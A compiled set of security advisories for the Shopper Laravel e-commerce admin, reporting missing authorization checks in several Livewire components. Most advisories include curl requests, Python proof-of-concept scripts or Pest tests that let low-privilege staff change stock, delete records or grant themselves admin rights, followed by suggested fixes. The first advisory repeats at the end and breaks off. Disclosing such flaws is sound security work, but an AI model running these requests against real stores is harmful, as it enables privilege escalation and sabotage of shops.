shopper/framework

Title

Missing authorization on product removal actions in CollectionProducts component

Description

A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse_collections, can detach individual products or bulk-detach all products from any collection in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

• packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105

// Line 40 - client-mutable, no #[Locked]
public Collection $collection;

// Lines 73-88 - per-record delete action, no ->authorize(...)
->recordActions([
    Action::make('delete')
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->iconButton()
        ->color('danger')
        ->requiresConfirmation()
        ->action(function (Product $record): void {
            $this->collection->products()->detach([$record->id]);
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        }),
])

// Lines 91-105 - bulk remove action, no ->authorize(...)
->groupedBulkActions([
    DeleteBulkAction::make()
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->requiresConfirmation()
        ->action(function (EloquentCollection $records): void {
            $this->collection->products()->detach($records->pluck('id')->toArray());
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        })
        ->deselectRecordsAfterCompletion(),
])

Steps to reproduce

Prerequisites: any admin-panel account, including one whose role holds only browse_collections (no edit_collections required).

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).
# Step 2: Call the bulk table action on the CollectionProducts component,
#          substituting collection ID 5 in the component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{
        "path": "",
        "method": "callBulkAction",
        "params": ["delete", [1, 2, 3, 4, 5]]
      }]
    }]
  }'
# Expected: HTTP 200, all listed product IDs detached from collection 5,
#           regardless of the caller having only browse_collections.

Proof of concept

#!/usr/bin/env python3
"""
CollectionProducts authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  COLLECTION_ID   integer ID of the target collection
  PRODUCT_IDS     comma-separated product IDs to detach (e.g. "1,2,3")
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
collection_id = int(os.environ['COLLECTION_ID'])
product_ids   = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'collection': collection_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callBulkAction',
            'params': ['delete', product_ids],
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

A staff member holding only browse_collections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.

Suggested fix

// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php

use Livewire\Attributes\Locked;

#[Locked]                          // prevent client-side ID substitution
public Collection $collection;

// Per-record action:
Action::make('delete')
    ->authorize('edit_collections')  // add this
    ->action(function (Product $record): void {
        $this->collection->products()->detach([$record->id]);
        // ...
    }),

// Bulk action:
DeleteBulkAction::make()
    ->authorize('edit_collections')  // add this
    ->action(function (EloquentCollection $records): void {
        $this->collection->products()->detach($records->pluck('id')->toArray());
        // ...
    })

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Title

Missing authorization on Media sub-form store action allows unpermissioned product media update

Description

A lack of authorization control on the store() method was found in packages/admin/src/Livewire/Components/Products/Form/Media.php. The security fix released for GHSA-h4mp-g9c6-xwph added #[Locked] to the $product property in this file but did not add an authorize() call to store(). The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only browse_products, can invoke store() on this component to replace the thumbnail and gallery images for any product without holding edit_products. Because $product is now #[Locked], the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)

Affected files

• packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76

// Lines 64-76 - store() with no authorize() call
public function store(): void
{
    $this->validate();

    $this->product->update($this->form->getState());  // overwrites thumbnail + gallery media

    $this->dispatch('product.updated');

    Notification::make()
        ->body(__('shopper::pages/products.notifications.media_update'))
        ->success()
        ->send();
}

The five sibling components that were fixed in commit fcd0c59 each now have:

public function store(): void
{
    $this->authorize('edit_products');  // present in Edit, Inventory, Seo, Shipping, Files
    // ...
}

Media.store() does not.

Steps to reproduce

Prerequisites: an admin-panel account whose role holds browse_products but NOT edit_products.

SESSION="laravel_session=<your_session_value>"
XSRF="<url-decoded-XSRF-TOKEN-cookie-value>"

# Step 1: Load a product edit page as an admin to obtain the Media component's
#         Livewire snapshot ID and the product's public ID.
#         The component snapshot appears in the HTML source as data-livewire-snapshot.

# Step 2: As the low-privilege browse-only session, call store() on the Media component,
#         pointing at the captured component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "<snapshot JSON from page source with product locked>",
      "updates": {},
      "calls": [{"path":"","method":"store","params":[]}]
    }]
  }'
# Expected: HTTP 200, product thumbnail and images updated without edit_products.

Proof of concept

#!/usr/bin/env python3
"""
Media component authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  laravel_session cookie value (browse-only staff session)
  XSRF_TOKEN      URL-decoded XSRF-TOKEN cookie value
  SNAPSHOT_JSON   the full Livewire snapshot JSON string for the Media component
                  (copy from data-livewire-snapshot in the product edit page source)

The snapshot already contains the locked product ID, so no ID substitution is needed.
The bypass is purely the missing authorize() on store().
"""

import json
import os
import requests

base_url = os.environ['BASE_URL']
session  = os.environ['SESSION_COOKIE']
xsrf     = os.environ['XSRF_TOKEN']
snapshot = os.environ['SNAPSHOT_JSON']

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{'path': '', 'method': 'store', 'params': []}]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

A staff member with only browse_products can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.

Suggested fix

// packages/admin/src/Livewire/Components/Products/Form/Media.php

public function store(): void
{
    $this->authorize('edit_products');  // add this line

    $this->validate();

    $this->product->update($this->form->getState());

    $this->dispatch('product.updated');

    Notification::make()
        ->body(__('shopper::pages/products.notifications.media_update'))
        ->success()
        ->send();
}

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Title

Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Description

A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

• packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91

// Line 34 - unprotected, client-mutable variant binding
public $variant;

// Lines 36-91 - no ->authorize(...) on the Action
public function stockAction(): Action
{
    return Action::make('stock')
        ->label(__('shopper::forms.actions.update'))
        ->color('gray')
        ->icon(Untitledui::Package)
        ->modalHeading(__('shopper::pages/products.modals.variants.title'))
        ->modalWidth(Width::Large)
        ->schema([
            Select::make('inventory')
                ->label(__('shopper::pages/products.inventory_name'))
                ->options(Inventory::query()->pluck('name', 'id'))
                ->native(false)
                ->required(),
            TextInput::make('quantity')
                ->label(__('shopper::forms.label.quantity'))
                ->placeholder('-10 or -5 or 50, etc')
                ->numeric()
                ->required(),
        ])
        ->action(function (array $data): void {
            // ...calls $this->variant->mutateStock(...) or decreaseStock(...)
            // with no permission check anywhere in this path
        });
}

Steps to reproduce

Prerequisites: an admin-panel account with any role (including a role that holds only browse_products or browse_orders). No edit_product_variants permission is required.

# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
# Obtain them from a normal browser login, then use them below.

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 2: Load the product variant page for any variant ID (e.g., 1).
# Capture the Livewire snapshot from the page source.

# Step 3: Call the stock action on an arbitrary variant.
# The wire payload sets "component.variant" to any variant ID in the database.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "$XSRF" \
  -H "Cookie: $SESSION" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
    }]
  }'
# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

Proof of concept

#!/usr/bin/env python3
"""
VariantStock authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  VARIANT_ID      integer ID of any target variant
  INVENTORY_ID    integer ID of the target inventory location
  QUANTITY        integer quantity adjustment (positive or negative)
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
variant_id    = int(os.environ['VARIANT_ID'])
inventory_id  = int(os.environ['INVENTORY_ID'])
quantity      = int(os.environ['QUANTITY'])

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'variant': variant_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callAction',
            'params': ['stock', {
                'inventory': inventory_id,
                'quantity': quantity,
            }]
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only browse_products can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.

Suggested fix

// packages/admin/src/Livewire/Components/Products/VariantStock.php

use Livewire\Attributes\Locked;

#[Locked]                     // prevent client-side ID substitution
public $variant;

public function stockAction(): Action
{
    return Action::make('stock')
        ->authorize('edit_product_variants')   // add this
        // ... rest of the action

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Summary

Three Livewire admin components in shopper/framework (latest master at commit fcd0c59, released as v2.8.0) gate state-mutating actions on the read-only view_users permission. This is the same class as the issue Shopper fixed in v2.8.0 / PR #511 / GHSA-f946-9qp6-vgch — the PR moved most write actions from view_users to access_setting, but three were missed (one of them is a brand-new file added by the security commit itself).

A staff user holding only view_users + access_dashboard (a realistic "support" or "viewer" role per Shopper's own PermissionsTableSeeder) can: (1) self-escalate by granting any permission to their own role; (2) create a brand-new admin team member with a chosen password and the admin role and then log in as that user; (3) delete arbitrary permissions rows (RBAC DoS) or — when can_be_removed=true — delete entire roles.

CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (High). CWE-285 (Improper Authorization) + CWE-862 (Missing Authorization).

Vulnerable components (paths relative to repo root)

1) packages/admin/src/Livewire/Components/Settings/Team/Permissions.php

• togglePermission(int $id) at line 28 calls $this->authorize('view_users');
• removePermission(int $id) at line 55 calls $this->authorize('view_users');

The Permissions blade at packages/admin/resources/views/livewire/components/settings/team/permissions.blade.php line 34 emits every permission's id directly in wire:click handlers, so the attacker does not even need to guess IDs — the page itself enumerates them.

Net effect: any user who can mount the Permissions component (gated on view_users) can grant any permission row to the bound $role. Granting access_setting to the attacker's own role unlocks every action that PR #511 supposedly hardened with ->authorize('access_setting'). Granting delete_customers, edit_orders, edit_products, add_brands, etc. is direct data-modification escalation.

2) packages/admin/src/Livewire/SlideOvers/CreateTeamMember.php

• mount() at line 53 calls $this->authorize('view_users');
• store() at line 122 calls $this->authorize('view_users');

This file is new file mode 100755 in commit fcd0c59 — it was created as part of the security fix and inherited the same misclassified gate.

store() creates a User with email_verified_at = now(), the attacker's chosen password, and any selected role_id. The Radio::make('role_id') options filter only excludes config('shopper.admin.roles.user'), so the admin role is selectable. Log out, log in as the new account → full admin.

3) packages/admin/src/Livewire/Pages/Settings/Team/RolePermission.php

• deleteAction at lines 81-90: only gated by ->visible($this->role->can_be_removed), with no ->authorize() chain.

Page-level mount (line 52) requires only view_users. For any role with can_be_removed = true, a view_users-only user can call the action and delete the role (cascading the loss of permissions for every assigned user).

Self-confirmation in the project's own test suite

The following tests are green on master @ fcd0c59 — they ARE the PoC:

tests/Admin/Livewire/Components/Settings/Team/PermissionsTest.php
  line 14-16: `givePermissionTo('view_users')` only
  line 36-45: "can toggle permission to role" — passes
  line 74-85: "can remove permission" — passes

tests/Admin/Livewire/SlideOvers/CreateTeamMemberTest.php
  line 16-18: `givePermissionTo('view_users')` only
  line 29-56: "can create new team member" — passes, asserts the new user `hasRole('manager')`

A view_users-only Livewire user actor successfully toggles permissions, removes permissions, and creates a new privileged user — verified by Shopper's own regression tests.

Suggested fix

Change $this->authorize('view_users') to $this->authorize('access_setting') in:

• Permissions::togglePermission
• Permissions::removePermission
• Permissions::mount (defence in depth, matches Team\Index)
• CreateTeamMember::mount
• CreateTeamMember::store

Add ->authorize('access_setting') to RolePermission::deleteAction (matches the pattern already applied to generatePermissionsAction, createPermissionAction, and Team\Index::DeleteAction).

Update the two regression tests to use access_setting instead of view_users so they accurately reflect the privilege boundary.

Resources

• Prior advisory of the same class: https://github.com/shopperlabs/shopper/security/advisories/GHSA-f946-9qp6-vgch
• Fix commit that introduced these residual gaps: https://github.com/shopperlabs/shopper/commit/fcd0c5920588702df5b874f432b1042abd77a50b
• CWE-285 Improper Authorization
• CWE-862 Missing Authorization

Credits

Reported by Vishal Shukla(@shukla304) using sechub.dev AI Agent

Support

If this disclosure was useful and if users would like to support continued open-source security research and responsible-disclosure work, they can sponsor at https://github.com/sponsors/therawdev — Shoppers thanks those who keeping open source safe.

Summary

Four Livewire components in the Settings area expose destructive Filament actions (delete / edit) that perform no server-side authorization. Any authenticated user who can reach the Settings pages — i.e. holding only the coarse access_setting permission, without being an admin and without any delete_*/edit_* permission — can delete tax zones, tax rates, shipping zones, and carrier (shipping-rate) options by invoking the component action directly over the Livewire endpoint.

These records sit on the storefront checkout path, so deleting them breaks shipping-rate calculation, removes region-scoped payment methods, and corrupts tax resolution at checkout.

This is inconsistent with the rest of the admin, where destructive actions are gated by granular permissions (e.g. Settings/Locations/Index uses ->authorize('delete_inventories'), and Order/Detail gates mutating actions with edit_orders).

Affected components

| Component | File | Unauthorized action | |---|---|---| | Settings\Zones\ZoneShippingOptions | packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php:47 | delete → CarrierOption::query()->find($arguments['id'])->delete() (id is client-supplied) | | Settings\Zones\Detail | packages/admin/src/Livewire/Components/Settings/Zones/Detail.php:46 | delete → DeleteAction on the bound Zone | | Settings\Taxes\Detail | packages/admin/src/Livewire/Components/Settings/Taxes/Detail.php:42 | delete → DeleteAction on the bound TaxZone | | Settings\Taxes\TaxRates | packages/admin/src/Livewire/Components/Settings/Taxes/TaxRates.php:97 | delete → DeleteAction on a TaxRate |

Each file contains zero authorize calls, and the actions declare neither ->authorize() nor an enforced ->visible() guard.

Details

The Settings pages mount these as child Livewire components. The parent page authorizes access_setting (e.g. Pages/Settings/Taxes.php:29), but the child components do not re-check authorization, and their destructive actions carry no ->authorize(). Because each Livewire component handles its own /livewire/update requests, the action executes purely on the page-level access_setting gate — there is no per-resource permission, and delete_zones / delete_taxes permissions are never even generated by the seeder (packages/admin/database/seeders/PermissionsTableSeeder.php).

ZoneShippingOptions::deleteAction() is the clearest case — it deletes by an id taken straight from the client action arguments with no scoping and no permission check:

// packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php
public function deleteAction(): Action
{
    return Action::make('delete')
        ->requiresConfirmation()
        // ... no ->authorize(), no ->visible()
        ->action(function (array $arguments): void {
            CarrierOption::query()->find($arguments['id'])->delete();   // client-controlled id
            // ...
        });
}

Proof of Concept

Confirmed with the project's own test harness (Pest + Orchestra Testbench, SQLite) — the real Livewire/Filament code path, executed as a non-admin user holding only access_setting.

use Livewire\Livewire;
use Shopper\Core\Models\{CarrierOption, Zone};
use Shopper\Livewire\Components\Settings\Zones\ZoneShippingOptions;
use Tests\Core\Stubs\User;

uses(Tests\Admin\TestCase::class);

it('low-priv access_setting user deletes a CarrierOption with no authorization', function (): void {
    $attacker = User::factory()->create();
    $attacker->givePermissionTo('access_setting');          // NOT admin, NO delete_* permission
    $this->actingAs($attacker, config('shopper.auth.guard'));

    $zone   = Zone::factory()->create();
    $option = CarrierOption::factory()->create(['zone_id' => $zone->id]);

    Livewire::test(ZoneShippingOptions::class, ['selectedZoneId' => $zone->id])
        ->callAction('delete', arguments: ['id' => $option->id]);

    expect(CarrierOption::query()->find($option->id))->toBeNull();   // deleted -> vulnerable
});

Result:

Attacker: isAdmin()=false, can('access_setting')=true, can('delete_zones')=false, can('edit_zones')=false
[BEFORE] CarrierOption count = 1  (target #1 'DHL Express' exists = YES)
[ATTACK] callAction('delete', id=1) on ZoneShippingOptions
[AFTER ] CarrierOption count = 0  (target #1 exists = NO -> deleted)

PASS  3 passed (11 assertions)
  ✓ CONTROL — Order/Detail::markPaid is correctly hidden without edit_orders (harness enforces declared authz)
  ✓ a CarrierOption is deleted by the low-priv user
  ✓ a shipping Zone is deleted by the low-priv user

The CONTROL case rules out a false positive: the same harness correctly denies Order/Detail::markPaid for a user lacking edit_orders, proving authorization is enforced when a component declares it — these four components simply declare none.

Impact

A low-privileged staff member (or a compromised low-privileged account) can sabotage the storefront's checkout/revenue path without any delete permission:

• Delete a CarrierOption → that shipping rate disappears from checkout for the zone.
• Delete a Zone → removes the country → carrier/payment-method/currency mapping; customers shipping to those countries lose all shipping and payment options (CarrierRateService::getRatesForZone / getManualRates read these directly).
• Delete a TaxZone / TaxRate → TaxCalculator::resolveZone() can no longer resolve the zone, corrupting tax calculation at checkout.

Net effect: integrity and availability damage to live commerce configuration, performed by a principal who was never granted that authority (least-privilege violation).

Secondary issue found while reproducing

Zones\Detail::deleteAction()->after() calls $this->reset('zone'), but zone is a #[Computed] method (not a property), so it throws ReflectionException after the row is deleted. Worth fixing alongside the authorization gap.

Suggested remediation

Add an authorization check to each action, and ideally a mount() guard on each child component, matching the pattern already used in Settings/Locations/Index.php and Team/RolePermission.php:

public function deleteAction(): Action
{
    return Action::make('delete')
        ->authorize('access_setting')   // or a new granular delete_zones / delete_taxes permission
        ->requiresConfirmation()
        // ...
}

Apply to the delete (and edit) actions in all four components. Consider also generating granular *_zones / *_taxes permissions so settings access can follow least privilege, and fix the $this->reset('zone') call in Zones\Detail.

Summary

Five Filament groupedBulkActions blocks across the Shopper admin Livewire pages omit the ->authorize(...) permission gate, while their per-record sibling actions (and other Shopper Index pages such as Pages/Settings/Currencies.php, Pages/Reviews/Index.php, Pages/Collection/Index.php, and Pages/Discount/Index.php) correctly chain ->authorize(...). Each affected page's mount() only requires the read-only browse_* permission, so a low-privilege staff user holding only the read permission can drive the bulk endpoint via the standard Livewire callTableBulkAction flow and execute state-mutating operations they were never granted. The vulnerability is the same class as GHSA-f946-9qp6-vgch and GHSA-j328-xmgp-j4q3 (read-only permission gating a write action), just on a different surface (Filament 4 groupedBulkActions rather than top-level Livewire methods).

A staff user holding only browse_attributes can permanently delete every product attribute in the catalog (cascading break of every dependent product variant). A user holding only browse_tags can permanently delete every product tag. Users holding browse_brands, browse_categories, or browse_suppliers can flip the visibility (is_enabled) of every brand/category/supplier in bulk, sabotaging storefront catalog visibility.

CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H = 8.1 High. CWE-285 (Improper Authorization) and CWE-862 (Missing Authorization). The attacker has low privilege (browse-only staff role), no user interaction, network reachable.

Vulnerable components (paths relative to repo root)

All references are HEAD = commit ac9a760 on master (the very commit that closed the previous wave of authorization-drift bugs from GHSA-j328-xmgp-j4q3).

1) packages/admin/src/Livewire/Pages/Attribute/Browse.php

Mount at line 36–39 requires only browse_attributes.

• Lines 106–122: DeleteBulkAction::make() has NO ->authorize(...) chain (the surrounding per-record delete action at lines 95–104 correctly does ->authorize('delete_attributes')).
• Lines 123–138: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 139–155: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_attributes-only user can delete every row in the attributes table, and toggle is_enabled on every attribute in one request. Deleting an attribute cascades into every product variant that references it via the attribute_product pivot.

2) packages/admin/src/Livewire/Pages/Tag/Index.php

Mount at line 39 requires only browse_tags.

• Lines 96–108: DeleteBulkAction::make() has NO ->authorize(...) chain (the per-record delete action at lines 79–94 correctly does ->authorize('delete_tags')).

Net effect: a browse_tags-only user can delete every ProductTag row.

3) packages/admin/src/Livewire/Pages/Brand/Index.php

Mount at line 37–40 requires only browse_brands.

• Lines 97–112: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 113–129: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_brands-only user can flip is_enabled on every brand. Disabling all brands removes them from the storefront catalog. The per-record edit/delete actions and the DeleteBulkAction at lines 130–148 are correctly ->authorize(...) gated — only the visibility bulk actions were missed.

4) packages/admin/src/Livewire/Pages/Category/Index.php

Mount at line 38–41 requires only browse_categories.

• Lines 102–117: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 118–133: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_categories-only user can flip is_enabled on every category. Same shape as Brand.

5) packages/admin/src/Livewire/Pages/Supplier/Index.php

Mount at line 38 requires only browse_suppliers.

• Lines 93–108: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 109–125: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_suppliers-only user can flip is_enabled on every supplier.

Reference comparison: places that ARE correctly gated

For reference, here is what the same pattern looks like in files that DID get the fix:

• packages/admin/src/Livewire/Pages/Settings/Currencies.php lines 90–129: every BulkAction chains ->authorize('access_setting').
• packages/admin/src/Livewire/Pages/Reviews/Index.php lines 105–119: DeleteBulkAction chains ->authorize('delete_reviews').
• packages/admin/src/Livewire/Pages/Collection/Index.php lines 109–128: DeleteBulkAction chains ->authorize('delete_collections').
• packages/admin/src/Livewire/Pages/Discount/Index.php lines 126–145: DeleteBulkAction chains ->authorize('delete_discounts').

The convention is established and applied elsewhere — these five files just missed it.

Proof of Concept

The attached file tests/Admin/Livewire/Pages/Brand/AuthBypassPocTest.php (added in this report) contains seven Pest tests, each acting as a browse_*-only staff user and invoking the bulk endpoint. All seven pass on master @ ac9a760:

   PASS  Tests\Admin\Livewire\Pages\Brand\AuthBypassPocTest
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all brands via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-ENABLE all brands via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all categories via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all suppliers via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can DELETE all attributes via unguarded DeleteBulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all attributes via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: browse_tags viewer can DELETE all product tags via unguarded DeleteBulkAction

  Tests:    7 passed (32 assertions)

Each test seeds three records, signs in a user holding only the corresponding browse_* permission, calls Livewire::test(<Page>::class)->callTableBulkAction(...), and asserts the side effect (records flipped or deleted). For example, the attribute mass-delete test:

$this->viewer = User::factory()->create();
$this->viewer->givePermissionTo('browse_attributes');
$this->actingAs($this->viewer);

Attribute::factory()->count(3)->create();
expect($this->viewer->can('delete_attributes'))->toBeFalse();

Livewire::test(AttributeBrowse::class)
    ->callTableBulkAction(\Filament\Actions\DeleteBulkAction::class, Attribute::pluck('id')->toArray())
    ->assertHasNoErrors();

expect(Attribute::count())->toBe(0);

The call uses the same callTableBulkAction helper Shopper's own test suite uses everywhere, which in turn drives the same Livewire update payload the browser would emit — so this is a faithful HTTP-level reproduction.

Suggested fix

Add ->authorize(<correct_permission>) to each of the five vulnerable groups, mirroring the pattern already used elsewhere:

 // Pages/Attribute/Browse.php
 ->groupedBulkActions([
     DeleteBulkAction::make()
+        ->authorize('delete_attributes')
         ->label(__('shopper::forms.actions.delete'))
         ->requiresConfirmation()
         ->action(function (Collection $records): void { /* ... */ }),
     BulkAction::make('enabled')
+        ->authorize('edit_attributes')
         ->label(__('shopper::forms.actions.enable'))
         ->action(function (Collection $records): void { /* ... */ }),
     BulkAction::make('disabled')
+        ->authorize('edit_attributes')
         ->label(__('shopper::forms.actions.disable'))
         ->action(function (Collection $records): void { /* ... */ }),
 ])

Apply the equivalent change to Pages/Tag/Index.php (delete_tags), Pages/Brand/Index.php (edit_brands for enable/disable), Pages/Category/Index.php (edit_categories), and Pages/Supplier/Index.php (edit_suppliers).

A regression test for each file (acting as a browse_*-only user and expecting assertHasErrors/AuthorizationException) would lock in the fix, matching the regression tests added for #514.

Resources

• Prior advisories of the same class (read-only permission gating a write action): GHSA-f946-9qp6-vgch, GHSA-j328-xmgp-j4q3 / GHSA-vw82-3966-f9mr.
• Same-shape fix: commit ac9a760 (PR #514). Five Filament bulk-action groups did not receive the corresponding ->authorize(...) chain.
• CWE-285 Improper Authorization, CWE-862 Missing Authorization.

Credits

Reported by Vishal Shukla(@shukla304) using sechub.dev AI Agent

Support

If this disclosure was useful and userswould like to support continued open-source security research and responsible-disclosure work, they can sponsor at https://github.com/sponsors/therawdev — Shopper is thankful for those keeping open source safe.

Title

Missing authorization on product removal actions in CollectionProducts component

Description

A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse_collections, can detach individual products or bulk-detach all products from any collection in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

• packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105

// Line 40 - client-mutable, no #[Locked]
public Collection $collection;

// Lines 73-88 - per-record delete action, no ->authorize(...)
->recordActions([
    Action::make('delete')
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->iconButton()
        ->color('danger')
        ->requiresConfirmation()
        ->action(function (Product $record): void {
            $this->collection->products()->detach([$record->id]);
            $this->dispatch('collection.add.product');
